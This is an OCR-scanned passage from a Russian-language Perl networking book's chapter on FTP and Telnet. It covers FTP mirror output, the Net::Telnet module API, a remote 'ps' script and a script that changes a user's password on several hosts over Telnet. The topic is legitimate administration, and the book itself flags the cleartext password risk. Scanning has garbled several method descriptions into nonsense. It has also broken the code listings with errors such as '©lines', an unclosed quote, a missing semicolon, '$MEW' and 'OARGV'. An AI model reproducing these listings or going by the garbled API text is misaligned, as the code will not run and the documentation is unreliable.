сообщений для создания копии архива CPAN получен листинг, начало которого приведено ниже,
% ftp_mirror.pl —verbose ftp.perl.org:/pub/CPAN
Getting directory CPAN/
Symlinking CPAN.html -> authors/Jon_Orwant/CPAN.html
Symlinking ENDINGS -> .cpan/ENDINGS
Getting file MIRRORED.BY
Getting file MIRRORING.FROM
Getting file README
Symlinking README.html -> index.html
Symlinking RECENT -> indices/RECENT-print
Getting file RECENT.html
Getting file ROADMAP
Getting file ROADMAP.html
Getting file SITES
Getting file SITES.html
Getting directory authors/
Getting file 00.Directory.Is.Not.Maintained.Anymore
Getting file OOupload.howto
Getting file O0whois.html
Getting file 01mailrc.txt.gz
Symlinking Aaron_Sherman -> id/ASHER
Symlinking Abigail -> id/ABIGAIL
Symlinking Achim_Bohnet -> id/ACH
Symlinking Alan_Burlison -> id/ABURLISON
При повторном выполнении этого сценария через несколько минут появляются
сообщения с указанием, что основная часть файлов является актуальной и не требует
обновления.
% ftp_mirror.pl —verbose ftp.perl.org:/pub/CPAN
Getting directory CPAN/
Symlinking CPAN.html -> authors/Jon_Orwant/CPAN.html
Symlinking ENDINGS -> .cpan/ENDINGS
Getting file MIRRORED.BY: not newer than local copy.
Getting file MIRRORING.FROM: not newer than local copy.
Getting file README: not newer than local copy.
Самое слабое место этого сценария— процедура parse_listing(). Поскольку
формат листинга каталога FTP не стандартизирован, на разных серверах применяются
различные реализации. В процессе разработки автор проверял этот сценарий на ряде
демонов FTP UNIX, а также на FTP-сервере Microsoft US. Однако на других серверах
выполнение этого сценария может закончиться аварийно. Кроме того, регулярное
выражение, применяемое для интерпретации элементов листинга каталога, может
неправильно обрабатывать имена файлов, которые начинаются с пробельного символа.
Net::Telnet
FTP представляет собой характерный пример серверного приложения,
предназначенного для обработки данных в строковом формате. Каждая команда, выдаваемая
клиентом, принимает форм)' одной, легко интерпретируемой строки, а каждый ответ
сервера клиенту имеет предсказуемый формат. Многие серверные приложения, опи-
162
Часть П. Разработка клиентов для основных служб
санные в следующих главах, включая POP, SMTP и HTTP, столь же просты. Это
связано с тем, что эти приложения были разработаны, в основном, для взаимодействия
с программами, а не людьми.
Служба Telnet представляет собой совершенно иное. Она была разработана для
взаимодействия непосредственно с людьми, а не программами. Результаты,
получаемые в сеансе Telnet, непредсказуемы и, к том)' же, зависят от конфигурации
удаленного хоста, командной оболочки, установленной пользователем, и настройки рабочей
среды пользователя.
Служба Telnet выполняет определенные действия, позволяющие упростить
взаимодействие с ней пользователей. Она переводит выходной поток в режим,
предусматривающий эхо-повтор всех команд, которые были к ней отправлены, тем самым позволяя
пользователю видеть то, что он набирает, а также входной поток в режим, который
позволяет ей читать и отвечать на любой введенный символ. Это также позволяет
редактировать командную строку и применять полноэкранные текстовые приложения.
Хотя такие средства упрощают работу с приложениями Telnet, они
одновременно усложняют разработку этих приложений. Протокол Telnet выполняет более
сложные действия, нежели просто отправка команд и прием ответов, поэтому
недостаточно лишь подключить сокет к порту 23 (применяемому по умолчанию
в службе Telnet) на удаленном компьютере и приступить к обмену сообщениями.
Клиент и сервер Telnet могут вступить во взаимодействие только после того, как
они согласуют процедуру установления соединения, предназначенную для
согласования параметров сеанса связи. Невозможно также в сценарии Perl просто открыть
канал в клиентскую программу Telnet, поскольку Telnet, как и многие другие
интерактивные программы, рассчитывает на то, что вывод будет открыт в
терминальное устройство, и пытается изменить характеристики этого устройства с
использованием различных вызовов функции ioctl ().
С учетом этого лучше всего отказаться от создания клиентов для интерактивных
приложений. Иногда, тем не менее, это неизбежно. Вам может потребоваться
автоматизировать существующее приложение, которое может работать только в
интерактивном терминальном режиме. Кроме того, иногда возникает необходимость
дистанционно управлять системной утилитой, которая доступна только в интерактивной форме.
Классическим примером последней является программа passwd UNIX,
предназначенная для смены пароля учетной записи пользователя. Как и Telnet, программа passwd
рассчитана на непосредственное взаимодействие с терминальным устройством, и для
работы с ней из сценария Perl должна быть выполнена специальная подготовка.
Модуль Net::Telnet предоставляет доступ к службам на основе Telnet. Его
средства позволяют регистрироваться на удаленном хосте с помощью протокола
Telnet, выполнять команды и обрабатывать результаты с использованием простых
функций сопоставления с образцом. В сочетании с модулем IO: : Pty можно также
использовать модуль Net: :Telnet для управления локальными интерактивными
программами.
Модуль Net: : Telnet был написан Джеем Роджерсом (Jay Rogers) и может быть
получен из архива CPAN. Это — модуль, написанный полностью на языке Perl; он
может применяться без каких-либо изменений в системах Windows и Macintosh.
Хотя он был разработан для взаимодействия с демонами Telnet UNIX, известно, что
он также работает с демоном Telnet системы Windows NT, который можно
установить с компакт-диска Windows NT Network Resource Kit, и несколькими свободно
доступными демонами.
Глава 6. FTP и Telnet
163
Пример простого сценария применения модуля
Net:: Tel net
В листинге 6.3 приведен простой сценарий, в котором используется модуль
Net: :Telnet. Он выполняет регистрацию на хосте, вызывает команду ps -ef для
получения списка всех работающих процессов, а затем выводит эту информацию на
стандартное устройство вывода.
Листинг 6.3. Сценарий remotepsi.pl выполняет регистрацию на удаленном
хосте и вызывает команд "ps"
о
1
2
3
4
5
6
7
8
9
10
#!/usr/bin/perl
# Файл: remotepsl.pl
use strict;
use Net::Telnet;
use constant HOST => 'phage.cshl.org';
use constant USER => 'lstein';
use constant PASS => 'xyzzy';
my $telnet = Net::Telnet->new(HOST)
$telnet->login(USER,PASS);
my ©lines = $telnet->cmd( 'ps -ef);
print @lines;
Проведем анализ программы.
• Строки 1-3. Загрузка модулей. Выполняется загрузка модуля Net:: Telnet. Поскольку этот
модуль является полностью объектно-ориентироаанным. для него не нужно импортировать
никаких символических констант.
• Строки 4-6. Определение констант. Предусматривается жесткое кодирование констант для
имени хоста, к которому должно быть выполнено подключение, а также имени пользователя
и пароля, с которыми должна быть выполнена регистрация (нет, это не настоящий пароль
автора!). Пользователь должен указать соответствующие значения для своей системы.
• Строка 7. Создание нового объекта Net::Telnet. Вызывается метод Net: :Teinet->new()
с именем хоста. Модуль Net:: Telnet предпринимает попытку подключиться к хосту и в случае
успеха возвращает новый объект Net:: Telnet, в противном случае — значение unde f.
• Строка 8. Регистрация на удаленном хосте. Вызывается метод login о объекта Telnet
с именем пользователя и паролем. Данный метод предпринимает попытку регистрации в
удаленной системе и в случае успешного выполнения возвращает истинное значение.
• Строки 9,10. Выполнение команды "ps". Вызывается метод cmd () с указанием в качестве
параметра выполняемой команды, в данном случае— команды ps -ef. После успешного
выполнения этот метод возвращает массиа строк, содержащий вывод команды (включая
символы обозначения конца строки). Результат выводится на стандартное устройство вывода.
Во время выполнения сценария remotepsl.pl возникает короткая пауза, в
течение которой сценарий выполняет регистрацию на удаленном хосте, а затем
появляется вывод команды ps.
TIME CMD
00:00:04 init
00:00:15 [kswapd]
00:00:00 [kflushd]
00:00:01 [kupdate]
00:00:01 /sbin/cardmgr
% remoteps1.pi
UID PID
root 1
root 2
root 3
root 4
root 34
PPID
0
1
1
1
1
С STIME
0 Jun26
0 Jun26
0 Jun26
0 Jun26
0 Jun26
ТТУ
■?
о
?
?
?
164 Часть П. Разработка клиентов для основных служб
root 114
root 117
bin 130
root 134
1 30 Jun26 ?
1 0 Jun26 ?
1 0 Jun26 ?
1 0 Jun26 ?
19:18:46 [kapmd]
00:00:00 [khubd]
00:00:00 /usr/sbin/rpc.portmap
00:00:25 /usr/sbin/syslogd
API-интерфейс модуля Net::Telnet
В модуле Net: :Telnet предусмотрен большой набор опций, что позволяет учесть
многие различия между реализациями протокола Telnet и командными оболочками
в разных операционных системах. Здесь рассматриваются только наиболее часто
применяемые опции. Дополнительные сведения приведены в документации Net: : Telnet.
Методы модуля Net: : Telnet обычно позволяют применять и форму с ключевыми
параметрами, и "сокращенную" форму, которая принимает только один параметр.
Например, метод new () можно вызвать с применением двух способов.
my $telnet = Net::Telnet->new('phage.cshl.org');
или
my $telnet = Net: :Telnet->new.(Host=>*phage.cshl.org',
Timeout=>5);
По возможности здесь будут показаны обе формы.
Метод new () является конструктором для объектов Net: : Telnet:
S telnet =itN&fc::Telrbt->new($hbsCJ j
I . Stelnet.= Net::Telnet->new(Optionl=>Svaluel,Option2=>$value2...) j
j , Метод new () создает новый объект Net:: Telnet. Этот метод может быть вызван с одним па- !
Г раметром, содержащим имя жеста, к которому должно быть выполнено подключение, или рядом пар '
олция/эначонио. которые предоставляют более полный контроль над объектом: Метод new () распо- \
знает много опций: наиболее распространенные из них приведены в табл. 6.2.
Таблица 6.2. Параметры метода Net:: Teinet->new о
Опция
Описание
Значение по
умолчанию
Host
Port
Timeout
Binmode
Cmd_remove_
mode
Errmode
Input_log
Fhopen
Prompt
Хост, к которому должно быть выполнено подключение
Порт, к которому должно быть выполнено подключение
Тайм-аут для сопоставления с образцом, измеряемый
в секундах
Подавление преобразования CRLF
Удаление результатов эхо-повтора команды из входной
информации
Установка режима обработки ошибок
Журнал, в который должна записываться входная
информация
Дескриптор файла, через который должно осуществляться
взаимодействие
Приглашение к вводу команд, с которым должно быть
выполнено сопоставление
"localhost"
23
10
Ложное значение
"auto"
"die"
Отсутствует
Отсутствует
"/[\$%]$/#>"
Глава 6. FTP и Telnet
165
Опции Host и Port обозначают хост и порт, к которым должно быть выполнено
подключение, а параметр Timeout определяет продолжительность времени в
секундах, в течение которой модуль Net: : Telnet будет ждать появления указанного
образца, прежде чем объявит об истечении тайм-аута.
Параметр Binmode управляет тем, будет ли модуль Net:: Telnet выполнять
преобразование символов CRLF. По умолчанию (Binmode=>0) каждое обозначение конца
строки в тексте, пересылаемом из сценария на удаленный хост, преобразуется в пару
CRLF так же, как в клиенте Telnet. Аналогичным образом каждая пара символов CRLF,
полученная с удаленного хоста, преобразуется в обозначение конца строки. Если
опция Binmode установлена равной истинном)' значению, преобразование подавляется
и данные передаются без каких-либо преобразований.
Параметр Cmd_remove__mode управляет удалением команд, к которым
применяется эхо-повтор. Большинство реализаций сервера Telnet предусматривает эхо-повтор
всех данных, введенных пользователем. В результате текст, отправленный на сервер,
снова появляется в данных, считанных с удаленного хоста. Если параметр
Cmd_remove_mode установлен равным истинному значению, то уничтожается первая
строка всех данных, полученных от сервера. Ложное значение запрещает удаление
первой строки, а значение "auto" позволяет модулю Net: :Telnet самостоятельно
принять решение, следует ли удалять эту строку, с учетом значения параметра "echo",
принятого во время установления соединения Telnet.
Значение Errmode определяет, что происходит при возникновении ошибки;
ошибкой обычно считается неполучение ожидаемого образца до истечения тайм-аута.
Параметру Errmode может быть присвоено строковое значение "die" (значение по
умолчанию) или "return". Если установлено значение "die", модуль Net: :Telnet в случае
ошибки выполняет аварийное завершение, что приводит к аварийному завершению
программы. Значение "return" позволяет изменить такое поведение, поэтому вместо
аварийного завершения метод new () в случае неудачного выполнения возвращает
значение undef. После этого можно определить конкретное сообщение об ошибке с
использованием функции errmsg (). Кроме этих двух строк, параметр Errmode
принимает ссылку на код или ссылку на массив. Обе эти формы применяются для установки
обработчиков, определяемых пользователем, которые вызываются при возникновении
ошибки. Дополнительная информация представлена в документации Net:: Telnet.
Значением параметра Input_log должно быть имя файла или дескриптор файла.
Все данные, полученные с сервера, копируются в этот файл или дескриптор файла.
Поскольку полученные данные обычно содержат продублированные команды, это —
удобный способ получения протокола сеанса Net: : Telnet и превосходное средство
отладки. Если параметром является ранее открытый дескриптор файла, журнал
записывается в этот дескриптор файла. В ином случае параметр рассматривается как имя
файла, который должен быть открыт или создан.
Параметр Fhopen может применяться при передаче ранее открытого дескриптора
файла модулю Net:: Telnet для его применения в сеансе связи. Модуль
Net: : Telnet использует этот дескриптор файла, не пытаясь открыть собственное
соединение. Это средство будет использоваться позднее для обеспечения работы
модуля Net:: Telnet по соединению защищенного командного интерпретатора.
Параметр Prompt устанавливает регулярное выражение, применяемое модулем
Net:: Telnet для определения момента появления приглашения к вводу команд. Это
выражение используется в методах login () и and () для определения момента
завершения выполнения команды. По умолчанию параметр Prompt устанавливается
166
Часть П. Разработка клиентов для основных служб
равным образцу, который соответствует применяемым по умолчанию приглашениям
командных интерпретаторов sh, csh, ksh и tcsh.
После открытия объекта Net:: Telnet его поведением можно управлять с
помощью некоторых методов объекта.
Sresul с « 9 telpnt->T.ogj,n ($us~rna-o, $р.лвъксг(2)
$re«ult - 5ttilnet->l<5gin (Me-tA guuernaiv».
Password -> Spassword,
(Prompt -> Spromrfe, ]
iTim^-rtjt ■> ? timeout])
Мотод login () предпринимяст попытку выполнить регистрацию на удаленном хосте с
использованием указанного имени пользователя и пароли. В форме пызоса этого метода с ключевыми параметрами
мсжнэ гюреолраделйть значения параметров f rotrpt и Timeout. указанные в вызове метода пч.ы ();
Если параметр Errrrodfe установлен ровным "die" и метод logip>(l обнаруживает ошибку?^вы-
эов метода приводит к япа'рийнгмуг завершению сценария с схобщенивм'сб ошибке. В инсм случае
метод Xoq^n (i возвращает ложное значение.
§result = $telnet->prlnt(fcvalues)
Выводит значение или списгк значений на удаленный хост: В конце каждой строки агтомэтиче-
ски добавляются символы конца строки, если это средство явно не стмененс-{дополн*тельнье
сведения приведены в документации Net: :Teintt). Метод вездрэщает истинное значение, если все
данные выведены успешно
Можно также обойти процедуры преобразования-символов модуля Nit:: Telnet и выполнять
вывод непосредственно на удаленный хост с использованием объекта Net::Telnet в качестве де--
скриптрра файла, « '■ |
print Steinet "Is -1F\015Y012"; \
$reeulfc"s $ telnet-; >wai tf or ($pattern)
(5befpre,$match) e $teln0fc->>waitfor.($pattern) S.
($before,$match) = §telnet->waitfor<[Match»>$pattern,]
[String«>$sfcring,] ;}■■
tTiaedu'fc=>$ timeout] f
Метод waitf or {) — это "рабочая лошадка" модуля" Net: lireinet: Этот методе течение времени*
-указанного параметром Timeout, ожидает появления заданной строки или образца в потоке данных,"
поступающих с удаленного хоста. В скалярном контексте метод waitf or () возвращает истинное зна*
чение, если был обнаружен желаемый образец. В контексте списка он возвращает список с двумя эле-1
ментами, состоящий изданных, принятых до сопоставления с образцом, и саму сопоставленную строку. ]
Методу wait for () можно передать регулярное выражение для сопоставления
с образцом или простую строку; в последнем случае модуль Net:: Telnet использует
функцию index () для поиска строки поступающих данных. В форме вызова метода
с ключевыми параметрами для сопоставления с образцом применяется параметр
Match, а для сопоставления с простой строкой — параметр String. Для
сопоставления с несколькими разными образцами или строками можно просто указать
несколько параметров Match и/или String.
Строка, применяемая для указания образца в параметре Match, должна состоять из
операторов Perl сопоставления с образцом и должна быть оформлена с учетом правил
применения ограничителей. Например, допустимо применение строк в формате
"/bash> $/" и "ш (bash> $)", но не в формате "bash> $", поскольку в последнем
случае отсутствуют ограничители строки, применяемой для сопоставления с образцом.
В форме метода waitf or () с одним параметром этот параметр представляет
собой образец, применяемый для сопоставления. Параметр Timeout может
использоваться для изменения значения тайм-аута, применяемого по умолчанию.
Глава 6. FTP и Telnet
167
В следующем фрагменте кода показано, как выдать команду Is -IF, дождаться
приглашения к вводу команд и вывести весь текст, полученный до появления этого
приглашения, который должен представлять собой вывод команды Is.
$telnet->print(4s -IF');
($before,$match) = $telnet->waitfor('/[$%#>] $/');
print $before;
Чтобы выдать команд)' на удаленный сервер и дождаться ответа, можно
применить одну из нескольких версий метода cmd ().
=_ -... - ",-—"—— vm «язь- ■T""*vx?js.3-S.TS№ "*5*и - - Г-'"-
$ result = 5telnet->cmd<$command) '
@ lines = $ telnet->cmd($ command)' ,
@lines — $telnet->cmd(String=>$command,
""" " [Ou^ut=>Sref,3 '
i.;i^ [Prc3mpt=>$pattern,]
[Timeout=>$ timeout, J
[Cmd_iremov^_mode=>Siaode3) «$,
Метод cmd () применяется для отправки команды на удаленный хост' и получения результатов ее
выполнения, если они предусмотрены. Этот метод эквивалентен выводу команды с помощью
функции print О, за которой следует вызов метода wait for О с использованием применяемого по
умолчанию образца для сопоставления, с приглашением к вводу команд. ^ ;д ^, ...
В скалярном контексте метод cmd () возвращает истинное значение, если команда
выполнена успешно, или ложное, если выполнение метода- прекращено по тайм-ауту до
обнаружения приглашения командного интерпретатора. В контексте списка этот метод
возвращает все строки, полученные до сопоставления с образцом приглашения.
В форме вызова с ключевыми параметрами параметр Output определяет ссылку
на скаляр или на массив, в который должны быть записаны строки, полученные до
сопоставления с образцом. Параметры Prompt, Timeout и Cmd_remove_mode
позволяют установить другие значения соответствующих параметров.
Обратите внимание, что получение истинного значения результата выполнения
метода cmd () не означает, что команда выполнена успешно. Это говорит лишь о том, что
команда была выполнена в течение времени, которое было выделено на ее выполнение.
Для получения данных с сервера без сопоставления с образцом могут применяться
методы get (), getline () или getlines ().
-js-—-—'—щ,-^ -m--.__—д~—~в"~-*юеа?» та™
Jdafca - $ telivot->get([T±meout=>$ timeout]) ■* ■>
Метод get (\ выполняет чтение в сеансе Telnet с учетом тайм-аута и возвращает все получен-
■ ные данные. Если в течение установленного времени не было получено никаких данных, метод вы-'
: полняет аварийное 'завершение при условии, что параметр Ёгппо.с'е установлен равным "die",
la в ином случаи возвращает значение undef. Метод get() возвращает также значение undef
в условиях конца файла (это: озйачает; что удаленный хост закрыл сеанс Telnet). Чтобы различить ^
кати две ситуации, можно использс«ать!.методь);ео£ () и timed_out <). %-■ э
f- $line = $telnet->getline([Timeout=>$timeout]) *-...
| Метод getline () читает следую1цу10.строку текста в сеансе Telnet. Как иде%Г>, он возвращает
.'значение undef iwnc в случче тайм-аута, либо в условиях концч фзйлз. Изменяемый модулем
разделитель ехздных записей.можно изменить с помощью метода input_record_s'ep<irator().
списанного ниже.
С linos • $trilnot->gotlines< [TiJ^outO-JtiiUiOut])
Возвращает все доступный строки текста или пустей список в случае тайм-аута или п уелгеиях
конца файла.
168
Часть П. Разработка клиентов для основных служб
И наконец, для отладки и изменения параметров сеанса связи могут применяться
еще несколько методов.
Smsg = $telnefc->errmsg,"' ' " -S ~*~ r ' "'"'
Этот метод возвращает сообщение об ошибке, связанное с неудачным вызовом метода, Напри-
, мер, после тайм-аута, возникшего при выполнении метода wait for (), метод errmsg () возвращает
crpokyfpattem match timed-out" {сопоставление с образцом отменено по истечении тайм-аута).
$line = $telnet->lastline
Этот метод возвращает последнюю строку, считанную из объекта. Он может применяться для,
проверки значения этой строки после того, как удаленный хост неожиданно прервал соединение,
поскольку строка может содержать информацию о причинах такого события.
$value = $telnet->input_record_separator([$newvalue]) ',:.)
> $value = $telnet->output_record_separator ([$p^rwvalue] )
Эти два метода по Гь.ют получить и/или установить разделители входных и выходных записей.
Разделитель входных записей позволяет разбить введенные ' иные на строки и применяется в
методах getline (), getlines О и cmd (). Разделитель выходных записей выводится в конце каждой стро-1,
ки, выводимой с помощью метода print (), .Обаразделителя по умолчанию имеют/значение \п!
$value = $telnet->prompt([$newvalue])
$value> = $t^Inet->tijneout([$newvaiuel^ J
"■• $ value = $telnet->binmode{[$newvalue]> ~ j
$value = $telnet->errmode([$neKvalue))
Эти методы позволяют получить1 и/или установить соответствующие значения параметров и мо- 1
гут использоваться для определения или изменения значений этих параметров, применяемых по
умолчанию, после создания объекта Telnet.
Steinet-xjiose tf^ л
^Метрд close (J. разрывает соединение с удалённым хостом..: ^ t j _^ .,„ w......... ч
Программа дистанционной смены пароля
Для иллюстрации практического применения модуля Net::Telnet рассмотрим
сценарий дистанционной смены пароля change_passwd.pl. Этот сценарий
поочередно обращается на каждый хост, указанный в командной строке, и меняет пароль
регистрации пользователя. Такой сценарий может использоваться пользователем,
зарегистрированным на нескольких компьютерах, на которых не обеспечен доступ
к общей базе данных с информацией аутентификации. Ниже приведен пример
применения этого сценария.
% change_passwd.pl —old=mothergOOse —new=bopEEp \
chiron masdorf sceptre
В этой командной строке показан запрос к сценарию для смены текущего пароля
пользователя на трех компьютерах: chiron, masdorf И sceptre. Сценарий сообщает
о удачной или неудачной попытке смены пароля на каждом из указанных компьютеров.
В сценарии для выполнения работы применяется программа pas swd UNIX. Для
приведения этой программы в действие нужно уметь предвидеть все ее приглашения
и ошибки. Ниже приведен пример успешного использования этой программы.
% passwd
Changing password for lstein
Old password: куаду
Enter the new password (minimum of 5, maximum of 8 characters)
Please use a combination of upper and lower case letters and
Глава 6. FTP и Telnet
169
numbers.
New password: plugn
Re-enter new password: plugn
Password changed.
При получении трех приглашений password: автор один раз вводил старый
пароль и два раза — новый. Однако программа passwd отключает режим эхо-повтора на
терминале, поэтому пароли фактически не отображаются на экране.
Во время выполнения программы passwd может возникнуть ряд ошибок.
Сценарий смены пароля можно будет считать надежным только в том случае, если он
сможет обнаружить все эти ошибки. Одна из ошибок появляется при неправильном
вводе первоначального пароля.
% passwd
Changing password for lstein
Old password: нуиуу
Incorrect password for lstein.
The password for lstein is unchanged.
Еще одна ошибка возникает, если новый пароль не соответствует применяемым в
программе passwd требованиям к безопасным паролям, которые было бы трудно угадать.
% passwd
Changing password for lstein
Old password: куиеу
Enter the new password (minimum of 5, maximum of 8 characters)
Please use a combination of upper and lower case letters and
numbers.
New password: fei
Bad password: too short. Try again.
New password: яаавамааа
Bad password: a palindrome. Try again.
New password: 12345
Bad password: too simple. Try again.
В этом примере показано несколько попыток установить новый пароль, причем
каждая из них была отвергнута по разным причинам. Общая часть этих сообщений об
ошибках содержит слова "Bad password" (Недопустимый пароль). Поскольку
применяется сценарий, можно не учитывать еще одну распространенную причину
ошибок при выполнении программы passwd, которая заключается в том, что после
получения приглашения подтвердить пароль повторный ввод пароля выполняется
неправильно. Сценарий change_passwd. pi приведен в листинге 6.4.
Листинг 6.4. Сценарий дистанционной смены пароля
о
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/perl
# Файл: change_passwd.pl
use strict;
use Net::Telnet;
use Getopt::Long;
use constant DEBUG => 1;
use constant USAGEMSG => «USAGE;
Usage: change_passwd.pl [options] machinal, machine2.
Options:
—user <user> Login name
—pass <pass> Current password
—new <pass> New password
USAGE
170
Часть II Разработка клиентов для основных служб
13: my ($USER,$OLD,$NEW);
14: die USAGEMSG unless GetOptions(•user=s• => \$USERf
15: 'old=s' => \$OLD,
16: 'new=s' => \$NEW);
17: $USER = $ENV{LOGNAME} ,
18: $OLD or die "provide current password with —old\n";
19: $NEW or die "provide new password with —new\n";
20: change_passwd($_,$USER,$OLD, $MEW). foreach OARGV;
21: sub change_passwd {
22: my ($host,$user,$oldpass,$newpass) = G_;
23: my $shell = Net::Telnet ->new ($host);
24: $shell->input_log(*passwd.log*) if DEBUG;
25: $shell->errmode('return*);
26: $shell->login($user,$oldpass)
or return warn "$host: ",$shell->errmsg,"\n";
27: $shell->print('passwd');
28: $shell->waitfor('/Old password:/')
or return warn "$host: ",$shell->errmsg,"\n";
29: $shell->print($oldpass);
30: my($pre,$match) =
$shell->waitfor(Match => '/Incorrect password/',
31: Match => '/New password:/');
32: $match =~ /New/ or
return warn "$host: Incorrect password.\n";
33: $shell->print($newpass);
34: ($pre,$match) =
$shell->waitfor(Match => '/Bad password/',
35: Match => '/Re-enter new password:/*);
36: $match =~ /Re-enter/
or return warn "$host: New password rejected.\n";
37: $shell->print($newpass);
38: $shell->waitfor('/Password changed\./')
39: or return warn "$host: ",$shell->errmsg,"\n";
40: print "Password changed for $user on $host.\n";
41: }
Проведем анализ программы.
Строки 1-4. Загрузка модулей. Выполняется загрузка модуля Net::Telnet и модуля
Getopt: .-Long, применяемого для интерпретации опций командной строки.
Строки 5-12. Определение констант. Создается флажок debug. Если он имеет истинное значение,
это служит указанием для модуля Net:: Telnet о том, что вся введенная информация должна
регистрироваться в файле passwd.log. Этот файл содержит информацию о пароле, поэтому он
должен быть сразу же удален. Константа usage содержит инструкцию по использованию сценария,
которая выводится, если пользователь не предоставляет правильные опции командной строки
Строки 13-19. Интерпретация опций командной строки. Вызывается процедура
GetOptions () для получения опций командной строки. Если явно не указано имя
пользователя, по умолчанию применяется регистрационное имя текущего пользователя, полученное с
помощью переменной среды lcgname. Опции с обозначением старого и нового пароля
являются обязательными.
Строка 20. Вызов подпрограммы change_passwd(). Для каждого из компьютеров,
указанных в командной строке, вызывается внутренняя подпрограмма change_passwd(), которой
передается имя компьютера, регистрационное имя пользователя, старый и новый пароли.
Строки 21-41. Подпрограмма change_passwd(). Основной объем работы выполняется
в подпрограмме change_passwd(). Вначале открывается новый объект Net: :Telnet,
подключенный к указанному хосту, а затем он сохраняется в переменной S shell. Если установлена
константа debug, включается регистрация отладочной информации в файле с жестко закодирован-
Глава 6. FTP и Telnet
171
ным именем. Кроме того, вызывается метод errmode () для установки значения
соответствующего параметра, равного "return", чтобы неудачно завершаемые вызовы модуля Net::Telnet
возвращали ложное значение, а не вызывали аварийное завершение в случае ошибки.
Теперь вызывается метод login () для осуществления попытки регистрации с именем и
паролем учетной записи пользователя. Если этот вызов оканчивается неудачей, выполняется
возврат и вывод предупреждающего сообщения, построенного с помощью процедуры
errmsgO объекта Telnet.
В ином случае программа находится на этапе вывода приглашения к регистрации в командном
интерпретаторе пользователя. Вызывается команда passwd и устанавливается ожидание
требуемого приглашения "old password:". Если приглашение появляется в течение
установленного времени, на сервер отправляется старый пароль. В ином случае возвращается
сообщение об ошибке.
С этого момента события будут развиваться в двух направлениях. Программа passwd может
принять пароль и вывести приглашение к вводу нового пароля или отвергнуть его по какой-то
причине. Сценарий ожидает появления любого из соответствующих приглашений, а затем
проверяет строку сопоставления, возвращенную методом wait for о, для определения того,
каким из двух образцов она соответствует. В первом случае можно перейти к этапу ввода
нового пароля. Во втором случае выполняется возврат с сообщением об ошибке.
После ввода нового пароля (строка 33) программа passwd может либо отвергнуть
предложенный пароль, поскольку он слишком прост, либо принять его и вывести приглашение для
подтверждения нового пароля. Эти ситуации отрабатываются таким же образом, как и прежде.
Последний этап состоит в повторном вводе нового лароля для подтверждения его смены. На
этом этапе не следует опасаться появления каких-либо ошибок, но нужно дождаться
появления подтверждения "Password changed" (Пароль изменен), прежде чем сообщать об успехе.
Поскольку программы passwd не стандартизированы, этот сценарий, скорее
всего, будет работать только в тех версиях UNIX, в которых применяется программа
passwd, почти не отличающаяся от рассматриваемой здесь версии BSD. Для работы
с другими разновидностями программы passwd необходимо соответствующим
образом изменить правила сопоставления с образцом, включив другие образцы Match в
вызовы метода waitfor ().
При выполнении сценария change_passwd.pl в сети, состоящей из
компьютеров Linux, был получен следующий результат.
% change_passwd.pl —user=george —old=mOOndOg —new=wampHOund \
localhost pesto prego romano
Password changed for george on localhost.
Password changed for george on pesto.
Password changed for george on prego.
Password changed for george on romano.
При выполнении сценария change_passwd.pl старые и новые пароли видит
любой, кто применяет команду ps для просмотра командных строк работающих
программ. Для использования этого сценария на производстве, вероятно, следует
изменить его так, чтобы он принимал такую конфиденциальную информацию со
стандартного устройства ввода. Следует учитывать также то, что информация пароля
передается в открытом виде и поэтому доступна для программ-перехватчиков сетевых
пакетов. Сценарий смены пароля на основе протокола SSH, приведенный в
следующем разделе, лишен такого недостатка.
Применение модуля Net::Telnet для работы
с протоколами, отличными от Telnet
Модуль Net::Telnet может применяться для автоматизации взаимодействия
с другими сетевыми серверами. Чаще всего достаточно просто предусмотреть тре-
172
Часть П. Разработка клиентов для основных служб
буемый параметр Port в вызове метода new(). В справочном руководстве
Net: : Telnet представлен пример использования этого модуля для работы с
протоколом РОРЗ, который описан в главе 8.
С помощью модуля IO: : Pty модуль Net: : Telnet может применяться для
автоматизации более сложных сетевых служб или для сценарной поддержки локальных
интерактивных программ. Как и при использовании стандартного клиента Telnet,
сложность взаимодействия с локальными интерактивными программами состоит
в том, что они требуют доступа к терминальному устройству (TTY) для смены
характеристик экрана, управления курсором и т.д. Назначение модуля IO: : Pty
состоит именно в том, что он создает "псевдотерминальное устройство" для работы
с такими программами. Псевдотерминал— это, по сути, двунаправленный канал.
Один конец этого канала подключен к интерактивной программе; с точки зрения
программы он выглядит и действует, как терминальное устройство. Другой конец
канала подключен к сценарию и может применяться для отправки данных в
программу и чтения ее вывода.
Поскольку применение псевдотерминалов — это мощный метод, который
почти не описан в литературе, рассмотрим практический пример. На многих узлах
с высокими требованиями к защите протоколы Telnet и FTP заменены
протоколом SSH (Secure Shell — Защищенный командный интерпретатор) — протоколом
дистанционной регистрации, который позволяет проверять подлинность
пользователей и шифровать сеансы регистрации с использованием открытых ключей
и симметричной криптографии. Сценарий change_passwd.pl не может
применяться на тех узлах, где протокол SSH занял место протокола Telnet, и поэтому
для соединения с удаленным хостом в целях выполнения команды passwd должен
применяться клиент ssh.
Клиент ssh выводит немного иное приглашение к регистрации, чем Telnet.
Типичный сеанс выглядит примерно так:
% ssh -1 george prego
george@prego's password: *******
Last login: Mon Jul 3 08:20:28 2000 from localhost
Linux 2.4.01.
%
Клиент ssh принимает необязательную опцию командной строки -1 для указания
имени пользователя, с которым должна быть выполнена регистрация, а также
указывает в качестве параметра имя удаленного хоста (в данном случае применяется
относительное имя, а не полностью определенное доменное имя). После этого клиент ssh
выводит приглашение к вводу пароля пользователя на удаленном хосте и
предпринимает попытку выполнить регистрацию.
Для работы с клиентом ssh необходимо внести изменения в сценарий
change_passwd.pl. Во-первых, нужно открыть псевдотерминал в клиентскую
программу ssh и передать управляющий дескриптор файла в метод Net: : Telnet->new ()
в качестве параметра Fhopen. Во-вторых, нужно заменить вызов метода login ()
собственной процедурой сопоставления с образцом, чтобы она отрабатывала
приглашение к регистрации клиента ssh.
Модуль IO: :Pty, который можно получить из архива CPAN, имеет простой
API-интерфейс.
Глава 6. FTP и Telnet
173
Spty = 10: :JPty->ne« .■•■:-«. ■*• *-.- j
Метод rvew() не принимает параметров й.возаращает новый объект псевдотерминала 1Щ: Pty,.;i
^Возвращенный объект представляет собой дескриптор файла, соответствующий управляющему")
Юнцу канала" В сценарии этот дескриптор файла" йВычЪр применяется для отпр ки комэнд и чте-'
ния результатов из выполняемой программы
Jtty ■ $pty->elava
- Метод si^vtO псеедстёрминала. ссзданнрго с помощью рызсеа метода ro::ity->Qew(),
г-озпрлщлэт дескриптор файла того конца 'канала который относится к терминальному устройству.
Обычно этот ескриптор файла передаётся управляемой программе
